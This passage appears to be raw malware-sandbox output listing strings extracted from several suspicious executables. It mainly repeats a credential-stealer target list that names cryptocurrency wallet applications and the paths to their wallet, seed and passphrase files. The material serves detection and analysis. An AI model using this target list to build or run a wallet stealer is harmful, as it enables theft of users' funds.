Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qk9TaBBxh8.exe, 00000000.00000003.2133362351.000001D702131000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: TITLe=PqReuElOduOrgsLsxWdIfSpCkXIpJffDrFgNSfOTIoOvihLdLHCvwSQGslZygAOktHpJAxxfDTyUJaltQwGJzOIYYOTDxxHxVrWFYIwevrxmbIgrW
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
